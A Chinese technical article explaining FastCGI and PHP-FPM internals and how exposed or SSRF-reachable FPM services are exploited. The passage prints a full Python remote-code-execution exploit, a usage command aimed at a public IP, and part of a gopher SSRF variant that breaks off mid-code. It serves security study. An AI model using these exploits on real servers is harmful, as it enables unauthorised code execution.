Mi1k7ea

浅谈PHP-FPM安全

阅读量

0x01 PHP连接模式

PHP中连接模式主要有以下三种。

apache2-module模式

这种模式下,是将PHP当做Apache的一个模块,此时PHP就是Apache中的一个DLL文件或SO文件。

在phpStudy中,非nts的模式就是默认以apache2-module为连接模式。

CGI模式

CGI连接模式下,PHP是作为一个独立的进程,如单独运行一个php-cgi.exe的进程,而此时Web服务器也是独立的一个进程如运行apache.exe。

当Web服务器收到HTTP请求时,就会去调用php-cgi进程,通过CGI协议,服务器把请求内容转换成php-cgi能读懂的协议数据传递给CGI进程,CGI进程拿到内容就会去解析对应PHP文件,得到的返回结果再返回给Web服务器,最后再由Web服务器返回到客户端。

但由于CGI模式下,每次客户端发起请求都需要建立和销毁进程,从而导致很大的资源消耗。因为HTTP要生成一个动态页面,系统就必须启动一个新的进程以运行CGI程序,不断地fork是一项很消耗时间和资源的工作。因此,也就诞生了FastCGI模式。

FastCGI模式

FastCGI模式是CGI模式的优化升级版,主要解决了CGI模式性能不佳的问题。

FastCGI其实是一个协议,是在CGI协议上进行了一些优化。众所周知,CGI进程的反复加载是CGI性能低下的主要原因,如果CGI解释器能够保持在内存中并接受FastCGI进程管理器调度,则可以提供良好的性能、伸缩性、Fail-Over特性等等,而这些改进正是FastCGI所提供的。

简而言之,CGI模式是Apache2接收到请求去调用CGI程序,而FastCGI模式是FastCGI进程自己管理自己的CGI进程,而不再是Apache去主动调用CGI进程,而FastCGI进程又提供了很多辅助功能比如内存管理、垃圾处理、保障了CGI的高效性,并且此时CGI是常驻在内存中、不会每次请求重新启动,从而使得性能得到质的提高。

如何识别

那么对于一个PHP Web服务,我们如何去识别它的PHP连接模式是哪个呢?

在接触不到服务器文件的情况下,最简单的办法就是查看phpinfo:

apache2-module模式:

CGI模式:

FastCGI模式:

0x02 FastCGI

基本概念

前面说了,FastCGI其实是一个协议,和HTTP协议一样,都是用于数据交互的一个通道。

HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。

类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。

协议分析

具体的参考P牛的博客:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

record

下面我们看下FastCGI协议的record结构是怎样的,这里的直接引用自P牛博客的内容:

和HTTP头不同,record的头固定8个字节,body是由头中的contentLength指定,其结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
> typedef struct {
> /* Header */
> unsigned char version; // 版本
> unsigned char type; // 本次record的类型
> unsigned char requestIdB1; // 本次record对应的请求id
> unsigned char requestIdB0;
> unsigned char contentLengthB1; // body体的大小
> unsigned char contentLengthB0;
> unsigned char paddingLength; // 额外块大小
> unsigned char reserved;
>
> /* Body */
> unsigned char contentData[contentLength];
> unsigned char paddingData[paddingLength];
> } FCGI_Record;
>

头由8个uchar类型的变量组成,每个变量1字节。其中,requestId占两个字节,一个唯一的标志id,以避免多个请求之间的影响;contentLength占两个字节,表示body的大小。

语言端解析了fastcgi头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体。

Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用。不需要该Padding的时候,将其长度设置为0即可。

可见,一个fastcgi record结构最大支持的body大小是2^16,也就是65536字节。

type

type就是指定该record的作用。因为FastCGI一个record的大小是有限的,作用也是单一的,所以我们需要在一个TCP流里传输多个record。通过type来标志每个record的作用,用requestId作为同一次请求的id。

也就是说,每次请求,会有多个record,他们的requestId是相同的。

主要的几种type类型如下图:

服务器中间件和PHP-FPM通信的第一个数据包是type为1的record,而后续通信的type为4、5、6、7的record,结束时发送type为2、3的record。

这里我们重点关注type为4的record,因为后面的漏洞利用涉及到这块。

当后端语言接收到一个type为4的record后,就会把这个record的body按照对应的结构解析成key-value对,这就是环境变量。环境变量的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
> typedef struct {
> unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
> unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
> unsigned char nameData[nameLength];
> unsigned char valueData[valueLength];
> } FCGI_NameValuePair11;
>
> typedef struct {
> unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
> unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
> unsigned char valueLengthB2;
> unsigned char valueLengthB1;
> unsigned char valueLengthB0;
> unsigned char nameData[nameLength];
> unsigned char valueData[valueLength
> ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
> } FCGI_NameValuePair14;
>
> typedef struct {
> unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
> unsigned char nameLengthB2;
> unsigned char nameLengthB1;
> unsigned char nameLengthB0;
> unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
> unsigned char nameData[nameLength
> ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
> unsigned char valueData[valueLength];
> } FCGI_NameValuePair41;
>
> typedef struct {
> unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
> unsigned char nameLengthB2;
> unsigned char nameLengthB1;
> unsigned char nameLengthB0;
> unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
> unsigned char valueLengthB2;
> unsigned char valueLengthB1;
> unsigned char valueLengthB0;
> unsigned char nameData[nameLength
> ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
> unsigned char valueData[valueLength
> ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
> } FCGI_NameValuePair44;
>

这其实是4个结构,至于用哪个结构,有如下规则:

  1. key、value均小于128字节,用FCGI_NameValuePair11
  2. key大于128字节,value小于128字节,用FCGI_NameValuePair41
  3. key小于128字节,value大于128字节,用FCGI_NameValuePair14
  4. key、value均大于128字节,用FCGI_NameValuePair44

举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对,即此时FastCGI协议包record的type为4:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。

PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php

有个注意点,就是PHP 5.3.9之后加入了FPM增加了security.limit_extensions选项,这个选项默认只解析.php文件,具体的在下一小节说到。

0x03 FPM

基本概念

官方定义如下:

FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。

简单地说,FPM是实现和管理FastCGI进程的管理器,能够接收服务器中间件发送的FastCGI协议包并进行解析、最后将解析结果返回给服务器中间件。

这里借用先知的一个图来看看就清楚了:

通信方式

在PHP使用FastCGI连接模式的情况下,Web服务器中间件如Nginx和PHP-FPM之间的通信方式又分为两种:

TCP模式

TCP模式即是PHP-FPM进程会监听本机上的一个端口(默认为9000),然后Nginx会把客户端数据通过FastCGI协议传给9000端口,PHP-FPM拿到数据后会调用CGI进程解析。

通常我们可以通过查看Nginx的配置文件default.conf来确认是否是TCP模式,这里个人环境中的路径为/etc/nginx/conf.d/default.conf,关注fastcgi_pass这一项,若为ip+port的形式即为TCP模式:

1
2
3
4
5
6
7
location ~ \.php$ {
index index.php index.html index.htm;
include /etc/nginx/fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
}

在PHP-FPM中,可以通过查看其配置文件,个人环境中的路径为/usr/local/etc/php-fpm.d/www.conf,看到listen一项若为ip+port的形式即为TCP模式:

1
2
3
4
5
6
7
8
9
10
11
; The address on which to accept FastCGI requests.
; Valid syntaxes are:
; 'ip.add.re.ss:port' - to listen on a TCP socket to a specific IPv4 address on
; a specific port;
; '[ip:6:addr:ess]:port' - to listen on a TCP socket to a specific IPv6 address on
; a specific port;
; 'port' - to listen on a TCP socket to all addresses
; (IPv6 and IPv4-mapped) on a specific port;
; '/path/to/unix/socket' - to listen on a unix socket.
; Note: This value is mandatory.
listen = 127.0.0.1:9000

Unix Socket模式

Unix套接字模式是Unix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。

相比之下,Unix套接字模式的性能会优于TCP模式。

还是一样的识别方法,在Nginx的default.conf中查看fastcgi_pass:

1
2
3
4
5
6
7
location~\.php${
index index.php index.html index.htm;
include /etc/nginx/fastcgi_params;
fastcgi_pass unix:/run/php/php7.3-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
}

在PHP-FPM的www.conf中查看listen:

1
listen = /run/php/php7.3-fpm.sock

security.limit_extensions

在PHP 5.3.9版本之后,PHP-FPM新添了security.limit_extensions选项,它是PHP-FPM配置文件中的一个选项,主要是用来限制能够解析的文件后缀名(默认值为php),可有效防御住Nginx解析漏洞。

我们可以自行查看PHP-FPM环境中security.limit_extensions的设置值,个人环境中的路径为/usr/local/etc/php-fpm.d/www.conf

1
2
3
4
5
6
7
; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; execute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7

为什么会提到这个设置项呢?

这是因为在后面的漏洞利用中,正是这个PHP-FPM的设置,导致我们只能使用Web服务器本身已存在的PHP文件进行利用,具体的原理后面会说到。

环境搭建

具体的环境搭建这篇文章写得很详细:https://xz.aliyun.com/t/5598#toc-3

本人用的是P牛的docker环境直接搭建,非常方便,git clone下来之后直接docker-compose up -d即可运行:

https://github.com/vulhub/vulhub/tree/master/fpm

0x04 PHP-FPM未授权访问漏洞

基本原理

顾名思义,PHP-FPM未授权访问漏洞,就是PHP-FPM的服务端口绑定在全网监听而非绑定在本地127.0.0.1的端口上,从而导致攻击者可以从公网通过构造FastCGI报文来攻击PHP-FPM,进而导致任意代码执行。

我们先看下我们漏洞环境的PHP-FPM的通信模式和是否是在全网监听端口:

:::9000为IPv6形式的全网监听9000端口的意思,说明通信模式是TCP模式且是全网监听9000端口的。

既然PHP-FPM暴露在公网了,那我们就想着如何去攻击这个服务。

攻击手段很明显,就是伪造FastCGI协议报文发送过去给PHP-FPM服务,进而达到任意代码执行的效果。

注意的就是,除disable_function以外的大部分PHP配置,我们都可以通过FastCGI协议包来更改,具体的可参考php手册:https://www.php.net/manual/zh/ini.list.php

那么如何实现任意代码执行呢?

FastCGI协议只可以传输配置信息及需要被执行的文件名及客户端传进来的GET、POST、Cookie等数据。看上去我们即使能传输任意协议包也不能任意代码执行,但是我们可以通过更改配置信息来执行任意代码。

auto_prepend_file和auto_append_file

这两个选项是php.ini中年的两个可利用的选项。

auto_prepend_file选项是告诉PHP在执行目标文件之前,先包含auto_prepend_file中指定的文件,并且auto_prepend_file可以使用PHP伪协议;auto_append_file选项同理,区别在于执行目标文件之后才会包含指定文件。

此时,我们可以将auto_prepend_file的值设置为php://input伪协议,其可通过POST的方式将我们的数据传进来,那么就等于在执行任何php文件前都要包含一遍POST的内容。因此,我们只需要把待执行的代码放在Body中就可以实现任意代码执行了。

接着又一个问题,我们怎么设置auto_prepend_file的值呢?此外,php://input伪协议也是需要开启allow_url_include选项的,那又在哪里设置开启呢?

PHP_VALUE和PHP_ADMIN_VALUE

PHP_VALUE和PHP_ADMIN_VALUE是PHP-FPM的两个环境变量。PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)。

由前面分析的FastCGI协议知道,type为4的record是键值对的形式,因此我们可以直接在报文中添加这两个PHP-FPM的环境变量来进行设置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

设置auto_prepend_file = php://input且allow_url_include = On,然后将我们需要执行的代码放在Body中,即可执行任意代码。

另外,SCRIPT_FILENAME选项需要我们设置一个服务端已存在的PHP文件,该选项是让PHP-FPM执行目标服务器上的文件,且由于security.limit_extensions项的限制导致只能执行PHP文件。

如何找一个已存在的且通用的PHP文件来利用呢?

查找PHP默认安装的php文件

我们搜索下漏洞环境中已有的PHP文件,找一下PHP安装过程中默认存在的PHP文件即可:

非常多,这里我们挑一个常见的/usr/local/lib/php/PEAR.php

EXP脚本分析

好了,基本的原理大概都说明了,下面看下P牛写的利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))

前面的大部分代码都是编写FastCGI客户端的,是参照Github上已经造好的轮子,这里不多说:https://github.com/wuyunfeng/Python-FastCGI-Client

我们分析下主要的代码逻辑:程序解析完输入参数后,新建一个FastCGI客户端连接,接着重点是构造下面的报文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

这里环境变量的设置按照前面分析的来就可以了,SCRIPT_NAME设置的是我们输入的PHP文件的参数如/usr/local/lib/php/PEAR.php,PHP_VALUE设置auto_prepend_file = php://input,PHP_ADMIN_VALUE设置allow_url_include = On。

报文参数设置完之后,带上用户参数输入的作为POST的Body内容向暴露于公网的PHP-FPM服务发送该FastCGI报文即可实现攻击利用。

攻击利用

现在我们以攻击者的角度来进行攻击利用。

首先攻击者用nmap等端口扫描工具批量扫描,发现某台公网IP开启了9000端口:

然后简单粗暴地应用P牛的脚本直接打,即可执行远程代码:

python .\fpm.py -c '<?php echoid;exit;?>' 1.1.1.1 /usr/local/lib/php/PEAR.php

对比下就知道,可能漏洞利用原理较复杂,但靠着脚本工具的利用就是分分钟的事。

0x05 SSRF攻击本地PHP-FPM

基本原理

PHP-FPM开放在公网上的情况是很少的,大部分时候都是启动在本地即监听127.0.0.1:9000地址的。

虽然我们没有办法直接对PHP-FPM发起攻击,但是我们可以结合其他漏洞来间接利用。如果目标站点存在SSRF漏洞,那么我们就可以借助SSRF来攻击本地PHP-FPM服务,达到任意代码执行的效果。

Gopher协议

Gopher协议在SSRF利用中被广泛运用,其URL格式如下:

1
gopher://<host>:<port>/<gopher-path>_后接TCP数据流

也就是说,通过Gopher协议,我们可以直接发送TCP协议流,从中进行urlencode编码来构造SSRF攻击代码,其中攻击代码就是恶意FastCGI协议报文。

Exp脚本分析

那么Exp如何修改呢?

在P牛脚本的基础上进行修改,代码来自:https://cloud.tencent.com/developer/article/1425023

修改点在于:将原本的FastCGI客户端类中request()方法中的发送请求的代码注释掉,因为这里FPM并没有启在公网;接着,在最后的主程序逻辑中修改最后两行代码为在调用前面修改过的request()函数来获取返回的TCP流,对该返回数据进行URL编码然后拼接成Gopher协议的形式即可。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
import socket
import base64
import random
import argparse
import sys
from io import BytesIO
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
